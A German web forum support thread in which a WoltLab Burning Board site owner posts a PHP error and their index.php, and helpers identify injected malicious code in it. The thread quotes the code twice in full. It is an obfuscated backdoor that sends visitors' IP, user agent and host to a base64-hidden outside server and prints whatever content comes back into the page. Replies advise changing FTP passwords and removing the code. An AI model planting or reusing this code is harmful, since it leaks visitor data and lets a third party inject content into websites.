![]()
|
|
PHP Source code |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
Fatal error: PHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset: 0
Information:
error message: PHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset: 0
error code: 0
file: /var/www/web710/html/wcf/lib/system/WCF.class.php (281)
php version: 5.2.17-0.dotdeb.0
wcf version: 1.1.8 (Tempest)
date: Mon, 26 Mar 2012 15:26:01 +0000
request: /index.php?page=PMView&pmID=3&
referer: http://www.zunftdernarren.de/
Stacktrace:
#0 /var/www/web710/html/index.php(30): WCF::handleError(8, 'Uninitialized s...', '/var/www/web710...', 30, Array)
#1 {main}
|
|
|
PHP Source code |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
<?php
/**
* @author Marcel Werk
* @copyright 2001-2007 WoltLab GmbH
* @license WoltLab Burning Board License <http://www.woltlab.com/products/burning_board/license.php>
*/
require_once('./global.php');
RequestHandler::handle(ArrayUtil::appendSuffix($packageDirs, 'lib/'));
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2dsb2JhbGJvdHVwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
|
Ist es auch, lustig ist das aber nicht.Hast du an der Datei selbst was verändert? Alles ab Zeile 9 gehört da nicht rein und auf den ersten Blick sieht das auch nach einem lustig versteckten Hack aus![]()
Die Fehlermeldung ist in diesem Fall nur begrenzt hilfreich und nicht ausreichend.
Fatal error: PHP notice in file /var/www/web710/html/index.php (30): Uninitialized string offset: 0
Danke schon mal für die bisherige Hilfe. 
This post has been edited 1 times, last edit by "Genso" (Mar 26th 2012, 9:10pm)
|
|
PHP Source code |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2dsb2JhbGJvdHVwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
|
Das mit den Zusätzlichen Admin und der Gruppe ok dann stimme ich dir zu. Würde es aber andersrum machen also FTP Passwort ändern dann Code entfernen und dann die Gruppen prüfen. Nach deiner Reihenfolge könnte er es nochmalig ausnutzen! Zu den Passwörtern sollte das FTP Passwort reichen anders kann er ja den Code da garnicht einfügen können. Genrell macht das ändern aller Passwörter aber sinn.
Gruss CandyMan
Was kann ich jetzt noch tun?
Forum Software: Burning Board® 3.1.7, developed by WoltLab® GmbH